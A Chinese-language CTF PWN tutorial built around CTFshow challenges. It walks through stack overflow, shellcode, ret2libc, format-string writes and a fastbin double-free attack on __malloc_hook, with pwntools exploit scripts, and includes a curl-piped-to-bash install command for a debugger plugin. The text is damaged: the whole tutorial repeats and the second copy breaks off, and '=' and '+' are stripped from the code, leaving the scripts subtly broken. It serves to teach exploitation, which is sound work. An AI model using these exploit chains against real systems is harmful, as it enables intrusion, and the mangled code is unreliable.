1. 从零到一PWN实战的核心逻辑与前置认知如果你刚接触CTF中的PWN方向可能会觉得它神秘又复杂一堆汇编指令、内存地址、函数调用让人眼花缭乱。但别怕PWN的核心逻辑其实非常直接找到程序中的漏洞利用这个漏洞劫持程序的控制流最终拿到一个可以执行任意命令的Shell。这个过程就像是在一个看似坚固的城堡里找到一扇没锁好的后门然后溜进去控制整个城堡。CTFshow的PWN题目尤其是入门系列就是设计精良的“城堡模型”非常适合我们一步步学习如何“找门”和“开门”。为什么是Shell因为在Linux系统中Shell是用户与操作系统内核交互的界面。拿到了Shell就相当于拿到了目标系统或题目环境的最高权限可以执行cat flag、ls、whoami等任意命令。在CTF比赛中flag通常就藏在服务器的某个文件里获取Shell是读取它的最直接方式。所以PWN的终极目标非常明确Get Shell。在开始动手之前我们需要建立几个关键的前置认知。首先PWN题目的环境通常是Linux程序是ELF可执行与可链接格式文件。其次我们攻击的“程序”跑在一个远程服务器上我们通过ncnetcat命令连接到它发送我们精心构造的数据即“攻击载荷”或payload进行交互。最后现代操作系统有一系列保护机制如ASLR, NX, Stack Canary等但CTFshow的入门题目往往会逐步引入或关闭这些机制让我们先理解漏洞本质再学习如何绕过保护。我刚开始学的时候总想跳过基础直接看“一招鲜”的EXP漏洞利用脚本结果遇到稍微变形的题目就束手无策。我的建议是把PWN当成一个“侦探游戏”漏洞是线索内存布局是地图我们的payload是开锁工具。耐心分析每一条线索理解地图的每一个角落比盲目使用工具重要得多。2. 环境搭建打造你的专属PWN实验室工欲善其事必先利其器。一个稳定、高效的本地调试环境能极大提升学习效率避免在配置问题上浪费时间。下面是我用了很多年觉得最顺手的一套组合。2.1 核心工具链安装与配置绝大多数PWN题目基于Linux因此在Linux环境下工作是最自然的选择。如果你使用Windows强烈建议安装WSL2Windows Subsystem for Linux它提供了一个近乎原生的Linux体验。这里以Ubuntu/Debian系发行版为例。首先更新软件源并安装最核心的工具sudo apt update sudo apt install -y gcc gdb python3 python3-pip git make接下来是“神器”级别的工具——pwntools。它是一个用Python编写的CTF框架和漏洞利用开发库提供了与进程、socket、ELF文件交互的丰富接口能自动处理很多繁琐细节。pip3 install --upgrade pip pip3 install pwntools安装完成后在终端输入python3进入交互模式输入import pwn或from pwn import *如果没有报错说明安装成功。pwntools的强大之处在于它统一了本地调试和远程攻击的接口写出的EXP只需稍作修改就能在两种场景下运行。另一个必备工具是checksec用于快速检查ELF文件开启了哪些安全保护。# 通常pwntools会自带checksec也可单独安装 sudo apt install -y checksec # 或者使用pwntools自带的 python3 -c “from pwn import *; print(which(‘checksec’))”对于逆向分析objdump和readelf是系统自带的利器而ROPgadget和one_gadget则在构造复杂利用链时必不可少。sudo apt install -y binutils pip3 install ropgadget sudo apt install -y ruby sudo gem install one_gadget注意工具的版本很重要。尤其是在做较老的题目时新版pwntools的某些API或默认行为可能与旧版不同可能导致你的EXP本地通但远程不通。一个好习惯是针对每个题目环境使用Docker或虚拟机创建一个纯净的、与题目描述一致的环境进行最终测试。2.2 调试器GDB与插件生态GDB是GNU调试器是动态分析程序的基石。但原生GDB界面不太友好我们需要用插件增强它。Pwndbg这是PWN手最常用的GDB插件集成了堆栈可视化、内存搜索、ROP链构造辅助等强大功能。git clone https://github.com/pwndbg/pwndbg cd pwndbg ./setup.sh安装完成后启动GDB就会自动进入Pwndbg模式界面信息非常丰富。GEF另一个优秀的插件功能与Pwndbg类似有时在特定场景下更有优势。你可以根据喜好选择甚至准备两套环境。# 使用GEF bash -c “$(curl -fsSL https://gef.blah.cat/sh)”Ped如果你需要进行更底层的指令级跟踪和污点分析peda也是一个经典选择但现在更推荐Pwndbg或GEF。在实际调试时我习惯用tmux或split terminal分屏一个屏幕运行题目程序或连接远程另一个屏幕用GDB附加调试。pwntools的gdb.attach()函数可以非常方便地将GDB附加到正在运行的进程上并自动下断点。2.3 题目获取与本地运行CTFshow的题目通常提供一个nc连接命令比如nc pwn.challenge.ctf.show 12345。为了本地调试我们首先需要下载题目附件通常是一个压缩包里面包含pwn文件目标程序和libc.so.x可能用到的C库。下载附件并解压。赋予执行权限chmod x pwn。使用patchelf或pwninit处理libc如果题目给了特定的libc你需要让本地的pwn程序使用这个libc而不是你系统自带的。否则堆地址、libc函数地址等都会对不上导致本地调试成功但远程失败。# 方法一使用pwninit推荐自动化解包、patch、生成solve.py模板 # 安装cargo install pwninit # 在题目目录下执行pwninit # 方法二手动使用patchelf patchelf --set-interpreter ./ld-2.xx.so ./pwn patchelf --set-rpath ./ ./pwn本地运行测试./pwn。如果程序需要参数则./pwn arg1 arg2。现在你的实验室就准备好了。记住这个环境是你反复试错、观察内存、验证想法的地方。不要怕把程序“搞崩溃”每一次崩溃都意味着你触碰到了程序的边界那可能就是漏洞所在。3. 漏洞挖掘入门栈溢出原理与第一滴血栈溢出是PWN中最经典、最基础的漏洞类型也是CTFshow PWN入门题的起点。理解栈溢出是理解整个内存漏洞利用体系的钥匙。3.1 栈与函数调用约定当程序调用一个函数时会在内存的“栈”区域为这个函数分配一块空间称为“栈帧”。栈帧里存放着什么呢局部变量函数内部定义的变量。返回地址函数执行完毕后应该跳回到哪里继续执行。这是最关键的数据控制了程序流。保存的寄存器如ebp基址指针用于在函数返回时恢复调用者的栈帧。函数参数取决于调用约定如cdecl参数从右向左压栈。在x86-32位架构下典型的栈帧布局如下地址从高向低增长高地址 ... 函数参数n ... 函数参数2 函数参数1 -- 调用者负责清理 返回地址 (EIP) -- 关键控制这里就能控制程序流 保存的EBP -- 当前函数的基址指针 局部变量1 局部变量2 ... -- ESP栈顶指针通常指向这里 低地址在x86-64位下前6个整数或指针参数通常通过寄存器RDI, RSI, RDX, RCX, R8, R9传递多出的参数才通过栈传递但返回地址和保存的RBP依然在栈上。3.2 溢出是如何发生的栈溢出的根源在于程序向栈上的缓冲区如局部字符数组写入数据时没有正确检查输入的长度。如果写入的数据量超过了缓冲区分配的大小多出的数据就会“溢出”覆盖掉相邻的内存区域。看一个最简单的例子C语言#include stdio.h #include string.h void vulnerable_function() { char buffer[16]; // 在栈上分配16字节的缓冲区 gets(buffer); // 危险函数不检查输入长度 printf(“Input: %s\n”, buffer); } int main() { vulnerable_function(); return 0; }gets(buffer)这一行是祸根。buffer只有16字节但gets会一直读取用户输入直到遇到换行符或EOF。如果用户输入超过15个字符加上结尾的\0多出的字符就会覆盖buffer之后的内存首先是保存的EBP接着就是返回地址。3.3 利用溢出劫持控制流攻击者的目标就是精确地覆盖这个返回地址。假设buffer起始地址是0xffffd00c返回地址在0xffffd01cbuffer(16) saved_ebp(4)。那么我们构造的payload结构应该是[ 16字节填充物 (‘A’*16) ] [ 4字节覆盖的saved_ebp (可以随意常用 ‘AAAA’) ] [ 4字节目标地址 ]如果我们把目标地址覆盖成某个函数的地址比如system(“/bin/sh”)的地址那么当vulnerable_function执行ret指令时就会跳转到system函数去执行从而获得Shell。这就是最原始的“覆盖返回地址”攻击。在CTFshow的早期题目如pwn01中你可能会发现程序里直接有一个后门函数shell或getshell它的地址是固定的。你的任务就是用溢出覆盖返回地址为这个后门函数的地址。实操心得在动态调试时如何确定覆盖的偏移量即从输入点到返回地址的字节数有两种常用方法模式字符串法使用pwntools的cyclic功能。from pwn import * context.log_level ‘debug’ p process(‘./pwn01’) payload cyclic(100) # 生成一个100字节的、带特殊模式如’aaabacad…’的字符串 p.sendline(payload) p.wait() # 程序会崩溃 # 从崩溃信息中看EIP/RIP寄存器的值例如是 0x6161616c (‘laaa’) # 然后用 cyclic_find(0x6161616c) 计算偏移得到 44 offset cyclic_find(0x6161616c) # 假设结果是44静态计算法在GDB中查看buffer的地址和返回地址的地址相减即可。但要注意栈对齐和编译器可能插入的填充字节动态验证更可靠。确定了偏移量offset如果后门函数地址是0x8048586那么payload就是payload b’A’ * offset p32(0x8048586) # p32用于打包32位地址如果是64位程序则用p64()。踩坑记录地址的字节序x86和x64架构都是小端序即低位字节在前。地址0x8048586在内存中存放为\x86\x85\x04\x08。pwntools的p32()/p64()函数会自动处理这个问题务必使用它们不要自己拼接字符串。4. 武器升级Shellcode与NX绕过初探随着题目难度提升程序里可能没有现成的后门函数了。这时我们需要自己注入代码来执行。我们注入的这段用于获取Shell的机器代码就叫做Shellcode。4.1 Shellcode的生成与注入经典的Linux x86 Shellcode执行execve(“/bin/sh”, NULL, NULL)很短大约40多字节。我们可以用pwntools方便地生成from pwn import * context.arch ‘i386’ # 设置架构 shellcode asm(shellcraft.sh()) # 生成shellcode print(len(shellcode)) # 查看长度 print(hexdump(shellcode)) # 查看内容我们的思路是通过栈溢出将返回地址覆盖为buffer的起始地址即我们注入的Shellcode的地址。这样函数返回时就会跳转到buffer开始执行我们布置的Shellcode。然而现代操作系统引入了NXNo-eXecute保护也叫DEP。它使栈内存区域只有读写权限没有执行权限。即使我们把Shellcode放在栈上程序跳转过去也会触发段错误Segmentation Fault。4.2 绕过NXRet2libc技术当栈不可执行时我们无法直接跳转到栈上的Shellcode。但程序本身必须依赖一些可执行的代码比如C标准库libc。libc里包含了system、execve等强大的函数。Ret2libc技术的核心思想就是利用程序中已有的、位于可执行内存区域如libc的代码片段gadget来拼凑出我们想要的功能。最基本的Ret2libc攻击链需要解决两个问题如何调用system函数如何将“/bin/sh”字符串的地址作为参数传递给它这需要用到ROPReturn-Oriented Programming的雏形。我们通过溢出不仅仅覆盖一个返回地址而是覆盖一串返回地址形成一个“链”。每个ret指令都相当于一次跳转。假设在32位程序中调用约定是参数从右向左压栈。那么调用system(“/bin/sh”)的栈布局应该是低地址 ... (溢出填充至返回地址) 地址A: system函数的地址 地址B: 返回地址system函数执行完后去哪可以填一个无害地址如exit 地址C: 参数1 — “/bin/sh”字符串的地址 高地址当溢出函数返回时它跳转到地址Asystem。system函数被调用它会将地址B当作自己的返回地址将地址C当作第一个参数。于是system(“/bin/sh”)就被成功执行了。4.3 寻找零件地址泄露与计算现在问题转化为我们如何知道system函数和字符串“/bin/sh”在内存中的地址呢 由于ASLR地址空间布局随机化的存在libc的加载基址每次运行都会变化。但是在同一个进程内libc中各个函数和数据的相对偏移是固定的。因此攻击分为两步信息泄露利用程序的某个输出功能如puts,printf泄露出某个libc函数的运行时地址。例如程序在输出某个字符串时意外输出了puts函数自身的地址GOT表中的地址。计算与攻击用泄露出的地址减去该函数在libc中的静态偏移得到libc的基址。然后用基址加上system和字符串“/bin/sh”在libc中的偏移得到它们的运行时地址。最后构造上述的ROP链进行攻击。在CTFshow的题目中如pwn05,pwn06通常会给出使用的libc.so文件。我们可以用工具查偏移# 查找system和字符串/bin/sh的偏移 readelf -s libc.so.6 | grep system strings -t x libc.so.6 | grep “/bin/sh” # 或者使用pwntools在脚本中计算 from pwn import * libc ELF(‘./libc.so.6’) system_offset libc.sym[‘system’] binsh_offset next(libc.search(b’/bin/sh’))一个典型的利用脚本框架如下from pwn import * context.log_level ‘debug’ context.arch ‘i386’ p process(‘./pwn05’) elf ELF(‘./pwn05’) libc ELF(‘./libc.so.6’) # 1. 泄露libc地址 payload1 b’A’*offset p32(elf.plt[‘puts’]) p32(elf.sym[‘main’]) p32(elf.got[‘puts’]) p.sendlineafter(b’’, payload1) leak u32(p.recv(4)) # 接收puts的地址 libc_base leak - libc.sym[‘puts’] # 2. 计算目标地址并二次攻击 system_addr libc_base libc.sym[‘system’] binsh_addr libc_base next(libc.search(b’/bin/sh’)) payload2 b’A’*offset p32(system_addr) p32(0xdeadbeef) p32(binsh_addr) p.sendlineafter(b’’, payload2) p.interactive()注意事项在构造payload时要特别注意函数调用后的栈平衡问题。比如如果用来泄露地址的函数是puts它正常返回后栈顶指针会变化。我们通常选择跳回main函数或另一个输入点让程序“重启”以便进行第二次溢出攻击。这就是为什么上面payload1中在puts的返回地址处填的是main的地址。5. 高级利用技术格式化字符串与堆漏洞初探掌握了栈溢出和基础Ret2libc后CTFshow的中阶题目会引入其他类型的漏洞拓宽你的攻击面。5.1 格式化字符串漏洞任意读写的利器当程序使用像printf(user_input)这样危险的语句时如果user_input是我们可控的就产生了格式化字符串漏洞。我们可以插入格式化符如%x,%p,%s,%n来读写栈内存。%p,%x泄露栈上的数据地址。%s将栈上某个值解释为指针泄露该指针指向的字符串可用于泄露GOT表内容得到函数地址。%n这是一个关键的攻击原语。它不输出内容而是将截至目前已输出的字符数写入到栈上对应的参数所指向的地址。这允许我们向任意地址写入一个数值。利用步骤通常为确定偏移输入一串%p或%x如%p.%p.%p.%p.%p观察输出确定我们输入的内容在栈上的第几个参数位置。泄露信息使用%偏移$s来泄露特定地址的内容例如泄露puts在GOT表中的地址从而计算libc基址。任意地址写使用%偏移$n或%偏移$hnh表示写入2字节向目标地址如GOT表中的printf项写入数据将其修改为system的地址。当下次程序调用printf时实际上就调用了system如果我们能同时控制传入的参数就能getshell。例如假设我们输入AAAA%6$p程序输出AAAA0x41414141说明AAAA即0x41414141位于栈上第6个参数的位置从0开始计。那么如果我们输入p32(target_addr) b’%6$n’就能将已输出的字节数这里是4因为p32(target_addr)是4字节写入到target_addr指向的内存中。实操技巧pwntools的fmtstr_payload函数可以自动构造复杂的格式化字符串攻击payload非常方便。但理解其原理对于手动调试和应对变形题目至关重要。5.2 堆漏洞Use-After-Free与Double Free堆是程序运行时动态分配内存的区域。堆漏洞的利用比栈溢出更复杂因为它涉及内存管理器的行为如glibc的ptmalloc。Use-After-Free程序释放了一块堆内存free但之后又继续使用如读、写指向这块内存的指针dangling pointer。Double Free对同一块堆内存进行了两次释放。这两种漏洞的核心攻击思想是破坏堆管理器的数据结构最终实现任意地址写如修改__free_hook或__malloc_hook为system地址或控制堆块内容在堆上伪造一个“小对象”其虚表指针指向我们控制的区域从而控制程序流。CTFshow的堆入门题通常会关闭ASLR和tcacheglibc 2.26引入的线程缓存机制使利用变复杂让我们专注于理解fastbin,unsorted bin等基础概念。例如通过double free和fastbin attack可以将一个堆块分配到__malloc_hook附近然后修改__malloc_hook为one_gadgetlibc中一段能直接启动shell的指令序列的地址。分析堆题的基本流程检查保护checksec。静态分析用IDA Pro或Ghidra查看程序逻辑找出分配、释放、编辑、打印堆块的功能。动态调试使用GDB配合Pwndbg的堆命令如heap,bins,chunk观察堆块状态和bin的变化。构思利用链如何通过漏洞操作使得最终malloc返回一个我们可控的地址如__malloc_hook。计算偏移利用unsorted bin泄露libc基址因为其中的fd和bk指针指向main_arena而main_arena在libc中。构造payload并实施攻击。堆利用的学习曲线较陡建议从how2heap这个经典仓库的示例程序开始配合调试一步步理解。6. 实战全流程以一道典型题目为例让我们将上述知识串联起来模拟解决一道CTFshow中综合性的PWN题假设为pwn08。6.1 侦察阶段信息收集拿到题目附件pwn08和可能的libc.so.6。file pwn08 checksec pwn08假设输出显示是64位程序只开启了NX保护栈不可执行。用IDA Pro打开进行静态分析。发现主程序有一个菜单1. Add 2. Delete 3. Edit 4. Show 5. Exit这是一个典型的“堆菜单题”。Add函数分配固定大小的chunk如0x80并将指针保存在全局数组。Delete函数free掉chunk但未将指针置NULL存在UAF。Edit和Show函数使用该指针未检查chunk是否已释放存在UAF。6.2 漏洞利用链设计与实现第一步泄露libc地址由于有Show功能我们可以利用UAF泄露堆块内容。在glibc中当一个被释放的chunk进入unsorted bin大小大于fastbin它的fd和bk指针会指向main_arena中的地址这个地址相对于libc基址的偏移是固定的。申请两个大于fastbin的chunk如size0x90释放第一个它会被放入unsorted bin。利用UAF通过Show功能打印第一个chunk的内容读出fd指针计算libc基址。add(0, 0x88, b’A’*0x88) add(1, 0x88, b’B’*0x88) # 防止与top chunk合并 delete(0) show(0) leak u64(p.recvuntil(b’\x7f’)[-6:].ljust(8, b’\x00’)) libc_base leak - 0x3ebca0 # main_arena96 在特定libc中的偏移 malloc_hook libc_base libc.sym[‘__malloc_hook’] one_gadget libc_base 0x4f302 # 通过one_gadget工具找到的地址第二步构造任意写原语——Fastbin Attack目标是修改__malloc_hook。我们可以利用fastbin的机制。首先通过double free在fastbin中制造一个循环链表。add(2, 0x68, b’C’*0x68) add(3, 0x68, b’D’*0x68) delete(2) delete(3) delete(2) # double free!此时fastbin链表中 chunk2 - chunk3 - chunk2 …。我们通过Edit修改chunk2的fd指针将其指向__malloc_hook附近的一个伪造的chunk需要满足size字段检查通常找0x7f。# 假设在__malloc_hook-0x23处有一个0x7f的字节可以作为fake chunk的size fake_chunk_addr malloc_hook - 0x23 edit(2, p64(fake_chunk_addr))连续申请两次0x68大小的chunk第一次得到chunk2第二次就会得到指向fake_chunk的chunk。add(4, 0x68, b’E’*0x68) # 拿到原chunk2 add(5, 0x68, b’F’*0x68) # 拿到fake_chunk其数据区从__malloc_hook-0x230x10开始第三步覆盖__malloc_hook并触发现在我们可以通过Edit功能修改chunk5即fake chunk的内容覆盖__malloc_hook。payload b’G’*(0x23-0x10) p64(one_gadget) # 填充到hook位置并写入one_gadget地址 edit(5, payload)最后触发一次malloc调用例如再Add一个chunk__malloc_hook就会被调用转而执行我们的one_gadget弹出shell。add(6, 0x10, b’trigger’) p.interactive()6.3 调试技巧与问题排查在实际操作中脚本可能一次不成功。常见的排查点偏移计算错误libc版本是否匹配main_arena偏移、one_gadget偏移是否正确用vmmap命令在GDB中查看libc加载基址进行验证。堆布局不稳定由于内存对齐、tcache如果开启等因素堆布局可能与预期有细微差别。多调试几次观察每次堆状态。one_gadget条件不满足one_gadget通常对寄存器或栈内容有约束条件如[rsp0x40] NULL。如果不满足程序会崩溃。此时需要尝试其他one_gadget或通过ROP先调整寄存器状态再跳转。利用链被破坏确保在double free后fastbin的链表状态符合预期。使用Pwndbg的heap bins fast命令查看。调试时在关键操作如delete后、edit前下断点观察内存变化。将复杂的利用脚本分阶段执行每完成一步就暂停用GDB检查状态是否符合预期。7. 从解题到精通学习路线与资源推荐走通了CTFshow的PWN入门路线你只是拿到了PWN世界的入场券。要想真正精通需要系统性地构建知识体系。建议的学习路线计算机系统基础深入理解《深入理解计算机系统》中关于程序表示、链接、异常控制流、虚拟内存的章节。这是内功。汇编语言至少熟悉x86/x64的基本指令、寄存器、栈操作和调用约定。不要求手写但要能读懂。漏洞类型专题突破栈相关ROPRet2libc, Ret2csu, SROP、栈迁移stack pivoting、Canary绕过泄露、爆破、FSOP。堆相关深入理解glibc malloc源码ptmalloc2掌握tcache, fastbin, unsorted bin, small/large bin的攻击手法如tcache poisoning, house of系列。其他漏洞格式化字符串、整数溢出、条件竞争等。保护机制与绕过系统学习ASLR, PIE, RELRO, FORTIFY等保护机制的原理及绕过方法。高级技巧如利用FILE结构体进行攻击_IO_FILE利用如house of orange, house of pig内核PWN基础等。必备工具与资源练习平台CTFshow题库、BUUCTF、Pwnable.kr、Pwnable.tw、HackTheBox。知识库CTF Wiki、how2heap、azeria-labs的ARM汇编教程。社区关注安全团队的博客、GitHub仓库参与CTF比赛复盘。最后也是最重要的心得多动手多调试多总结。不要满足于跑通别人的EXP。尝试自己从零开始分析一道题即使花上几天时间。遇到问题仔细对比自己的思路和别人的WPWriteup差异在哪里。建立一个自己的笔记库记录每类漏洞的利用模式、调试命令和踩过的坑。PWN的学习是一场马拉松扎实走好每一步你收获的将不仅是解题的乐趣更是对计算机系统底层深刻的理解力。
1. 从零到一PWN实战的核心逻辑与前置认知如果你刚接触CTF中的PWN方向可能会觉得它神秘又复杂一堆汇编指令、内存地址、函数调用让人眼花缭乱。但别怕PWN的核心逻辑其实非常直接找到程序中的漏洞利用这个漏洞劫持程序的控制流最终拿到一个可以执行任意命令的Shell。这个过程就像是在一个看似坚固的城堡里找到一扇没锁好的后门然后溜进去控制整个城堡。CTFshow的PWN题目尤其是入门系列就是设计精良的“城堡模型”非常适合我们一步步学习如何“找门”和“开门”。为什么是Shell因为在Linux系统中Shell是用户与操作系统内核交互的界面。拿到了Shell就相当于拿到了目标系统或题目环境的最高权限可以执行cat flag、ls、whoami等任意命令。在CTF比赛中flag通常就藏在服务器的某个文件里获取Shell是读取它的最直接方式。所以PWN的终极目标非常明确Get Shell。在开始动手之前我们需要建立几个关键的前置认知。首先PWN题目的环境通常是Linux程序是ELF可执行与可链接格式文件。其次我们攻击的“程序”跑在一个远程服务器上我们通过ncnetcat命令连接到它发送我们精心构造的数据即“攻击载荷”或payload进行交互。最后现代操作系统有一系列保护机制如ASLR, NX, Stack Canary等但CTFshow的入门题目往往会逐步引入或关闭这些机制让我们先理解漏洞本质再学习如何绕过保护。我刚开始学的时候总想跳过基础直接看“一招鲜”的EXP漏洞利用脚本结果遇到稍微变形的题目就束手无策。我的建议是把PWN当成一个“侦探游戏”漏洞是线索内存布局是地图我们的payload是开锁工具。耐心分析每一条线索理解地图的每一个角落比盲目使用工具重要得多。2. 环境搭建打造你的专属PWN实验室工欲善其事必先利其器。一个稳定、高效的本地调试环境能极大提升学习效率避免在配置问题上浪费时间。下面是我用了很多年觉得最顺手的一套组合。2.1 核心工具链安装与配置绝大多数PWN题目基于Linux因此在Linux环境下工作是最自然的选择。如果你使用Windows强烈建议安装WSL2Windows Subsystem for Linux它提供了一个近乎原生的Linux体验。这里以Ubuntu/Debian系发行版为例。首先更新软件源并安装最核心的工具sudo apt update sudo apt install -y gcc gdb python3 python3-pip git make接下来是“神器”级别的工具——pwntools。它是一个用Python编写的CTF框架和漏洞利用开发库提供了与进程、socket、ELF文件交互的丰富接口能自动处理很多繁琐细节。pip3 install --upgrade pip pip3 install pwntools安装完成后在终端输入python3进入交互模式输入import pwn或from pwn import *如果没有报错说明安装成功。pwntools的强大之处在于它统一了本地调试和远程攻击的接口写出的EXP只需稍作修改就能在两种场景下运行。另一个必备工具是checksec用于快速检查ELF文件开启了哪些安全保护。# 通常pwntools会自带checksec也可单独安装 sudo apt install -y checksec # 或者使用pwntools自带的 python3 -c “from pwn import *; print(which(‘checksec’))”对于逆向分析objdump和readelf是系统自带的利器而ROPgadget和one_gadget则在构造复杂利用链时必不可少。sudo apt install -y binutils pip3 install ropgadget sudo apt install -y ruby sudo gem install one_gadget注意工具的版本很重要。尤其是在做较老的题目时新版pwntools的某些API或默认行为可能与旧版不同可能导致你的EXP本地通但远程不通。一个好习惯是针对每个题目环境使用Docker或虚拟机创建一个纯净的、与题目描述一致的环境进行最终测试。2.2 调试器GDB与插件生态GDB是GNU调试器是动态分析程序的基石。但原生GDB界面不太友好我们需要用插件增强它。Pwndbg这是PWN手最常用的GDB插件集成了堆栈可视化、内存搜索、ROP链构造辅助等强大功能。git clone https://github.com/pwndbg/pwndbg cd pwndbg ./setup.sh安装完成后启动GDB就会自动进入Pwndbg模式界面信息非常丰富。GEF另一个优秀的插件功能与Pwndbg类似有时在特定场景下更有优势。你可以根据喜好选择甚至准备两套环境。# 使用GEF bash -c “$(curl -fsSL https://gef.blah.cat/sh)”Ped如果你需要进行更底层的指令级跟踪和污点分析peda也是一个经典选择但现在更推荐Pwndbg或GEF。在实际调试时我习惯用tmux或split terminal分屏一个屏幕运行题目程序或连接远程另一个屏幕用GDB附加调试。pwntools的gdb.attach()函数可以非常方便地将GDB附加到正在运行的进程上并自动下断点。2.3 题目获取与本地运行CTFshow的题目通常提供一个nc连接命令比如nc pwn.challenge.ctf.show 12345。为了本地调试我们首先需要下载题目附件通常是一个压缩包里面包含pwn文件目标程序和libc.so.x可能用到的C库。下载附件并解压。赋予执行权限chmod x pwn。使用patchelf或pwninit处理libc如果题目给了特定的libc你需要让本地的pwn程序使用这个libc而不是你系统自带的。否则堆地址、libc函数地址等都会对不上导致本地调试成功但远程失败。# 方法一使用pwninit推荐自动化解包、patch、生成solve.py模板 # 安装cargo install pwninit # 在题目目录下执行pwninit # 方法二手动使用patchelf patchelf --set-interpreter ./ld-2.xx.so ./pwn patchelf --set-rpath ./ ./pwn本地运行测试./pwn。如果程序需要参数则./pwn arg1 arg2。现在你的实验室就准备好了。记住这个环境是你反复试错、观察内存、验证想法的地方。不要怕把程序“搞崩溃”每一次崩溃都意味着你触碰到了程序的边界那可能就是漏洞所在。3. 漏洞挖掘入门栈溢出原理与第一滴血栈溢出是PWN中最经典、最基础的漏洞类型也是CTFshow PWN入门题的起点。理解栈溢出是理解整个内存漏洞利用体系的钥匙。3.1 栈与函数调用约定当程序调用一个函数时会在内存的“栈”区域为这个函数分配一块空间称为“栈帧”。栈帧里存放着什么呢局部变量函数内部定义的变量。返回地址函数执行完毕后应该跳回到哪里继续执行。这是最关键的数据控制了程序流。保存的寄存器如ebp基址指针用于在函数返回时恢复调用者的栈帧。函数参数取决于调用约定如cdecl参数从右向左压栈。在x86-32位架构下典型的栈帧布局如下地址从高向低增长高地址 ... 函数参数n ... 函数参数2 函数参数1 -- 调用者负责清理 返回地址 (EIP) -- 关键控制这里就能控制程序流 保存的EBP -- 当前函数的基址指针 局部变量1 局部变量2 ... -- ESP栈顶指针通常指向这里 低地址在x86-64位下前6个整数或指针参数通常通过寄存器RDI, RSI, RDX, RCX, R8, R9传递多出的参数才通过栈传递但返回地址和保存的RBP依然在栈上。3.2 溢出是如何发生的栈溢出的根源在于程序向栈上的缓冲区如局部字符数组写入数据时没有正确检查输入的长度。如果写入的数据量超过了缓冲区分配的大小多出的数据就会“溢出”覆盖掉相邻的内存区域。看一个最简单的例子C语言#include stdio.h #include string.h void vulnerable_function() { char buffer[16]; // 在栈上分配16字节的缓冲区 gets(buffer); // 危险函数不检查输入长度 printf(“Input: %s\n”, buffer); } int main() { vulnerable_function(); return 0; }gets(buffer)这一行是祸根。buffer只有16字节但gets会一直读取用户输入直到遇到换行符或EOF。如果用户输入超过15个字符加上结尾的\0多出的字符就会覆盖buffer之后的内存首先是保存的EBP接着就是返回地址。3.3 利用溢出劫持控制流攻击者的目标就是精确地覆盖这个返回地址。假设buffer起始地址是0xffffd00c返回地址在0xffffd01cbuffer(16) saved_ebp(4)。那么我们构造的payload结构应该是[ 16字节填充物 (‘A’*16) ] [ 4字节覆盖的saved_ebp (可以随意常用 ‘AAAA’) ] [ 4字节目标地址 ]如果我们把目标地址覆盖成某个函数的地址比如system(“/bin/sh”)的地址那么当vulnerable_function执行ret指令时就会跳转到system函数去执行从而获得Shell。这就是最原始的“覆盖返回地址”攻击。在CTFshow的早期题目如pwn01中你可能会发现程序里直接有一个后门函数shell或getshell它的地址是固定的。你的任务就是用溢出覆盖返回地址为这个后门函数的地址。实操心得在动态调试时如何确定覆盖的偏移量即从输入点到返回地址的字节数有两种常用方法模式字符串法使用pwntools的cyclic功能。from pwn import * context.log_level ‘debug’ p process(‘./pwn01’) payload cyclic(100) # 生成一个100字节的、带特殊模式如’aaabacad…’的字符串 p.sendline(payload) p.wait() # 程序会崩溃 # 从崩溃信息中看EIP/RIP寄存器的值例如是 0x6161616c (‘laaa’) # 然后用 cyclic_find(0x6161616c) 计算偏移得到 44 offset cyclic_find(0x6161616c) # 假设结果是44静态计算法在GDB中查看buffer的地址和返回地址的地址相减即可。但要注意栈对齐和编译器可能插入的填充字节动态验证更可靠。确定了偏移量offset如果后门函数地址是0x8048586那么payload就是payload b’A’ * offset p32(0x8048586) # p32用于打包32位地址如果是64位程序则用p64()。踩坑记录地址的字节序x86和x64架构都是小端序即低位字节在前。地址0x8048586在内存中存放为\x86\x85\x04\x08。pwntools的p32()/p64()函数会自动处理这个问题务必使用它们不要自己拼接字符串。4. 武器升级Shellcode与NX绕过初探随着题目难度提升程序里可能没有现成的后门函数了。这时我们需要自己注入代码来执行。我们注入的这段用于获取Shell的机器代码就叫做Shellcode。4.1 Shellcode的生成与注入经典的Linux x86 Shellcode执行execve(“/bin/sh”, NULL, NULL)很短大约40多字节。我们可以用pwntools方便地生成from pwn import * context.arch ‘i386’ # 设置架构 shellcode asm(shellcraft.sh()) # 生成shellcode print(len(shellcode)) # 查看长度 print(hexdump(shellcode)) # 查看内容我们的思路是通过栈溢出将返回地址覆盖为buffer的起始地址即我们注入的Shellcode的地址。这样函数返回时就会跳转到buffer开始执行我们布置的Shellcode。然而现代操作系统引入了NXNo-eXecute保护也叫DEP。它使栈内存区域只有读写权限没有执行权限。即使我们把Shellcode放在栈上程序跳转过去也会触发段错误Segmentation Fault。4.2 绕过NXRet2libc技术当栈不可执行时我们无法直接跳转到栈上的Shellcode。但程序本身必须依赖一些可执行的代码比如C标准库libc。libc里包含了system、execve等强大的函数。Ret2libc技术的核心思想就是利用程序中已有的、位于可执行内存区域如libc的代码片段gadget来拼凑出我们想要的功能。最基本的Ret2libc攻击链需要解决两个问题如何调用system函数如何将“/bin/sh”字符串的地址作为参数传递给它这需要用到ROPReturn-Oriented Programming的雏形。我们通过溢出不仅仅覆盖一个返回地址而是覆盖一串返回地址形成一个“链”。每个ret指令都相当于一次跳转。假设在32位程序中调用约定是参数从右向左压栈。那么调用system(“/bin/sh”)的栈布局应该是低地址 ... (溢出填充至返回地址) 地址A: system函数的地址 地址B: 返回地址system函数执行完后去哪可以填一个无害地址如exit 地址C: 参数1 — “/bin/sh”字符串的地址 高地址当溢出函数返回时它跳转到地址Asystem。system函数被调用它会将地址B当作自己的返回地址将地址C当作第一个参数。于是system(“/bin/sh”)就被成功执行了。4.3 寻找零件地址泄露与计算现在问题转化为我们如何知道system函数和字符串“/bin/sh”在内存中的地址呢 由于ASLR地址空间布局随机化的存在libc的加载基址每次运行都会变化。但是在同一个进程内libc中各个函数和数据的相对偏移是固定的。因此攻击分为两步信息泄露利用程序的某个输出功能如puts,printf泄露出某个libc函数的运行时地址。例如程序在输出某个字符串时意外输出了puts函数自身的地址GOT表中的地址。计算与攻击用泄露出的地址减去该函数在libc中的静态偏移得到libc的基址。然后用基址加上system和字符串“/bin/sh”在libc中的偏移得到它们的运行时地址。最后构造上述的ROP链进行攻击。在CTFshow的题目中如pwn05,pwn06通常会给出使用的libc.so文件。我们可以用工具查偏移# 查找system和字符串/bin/sh的偏移 readelf -s libc.so.6 | grep system strings -t x libc.so.6 | grep “/bin/sh” # 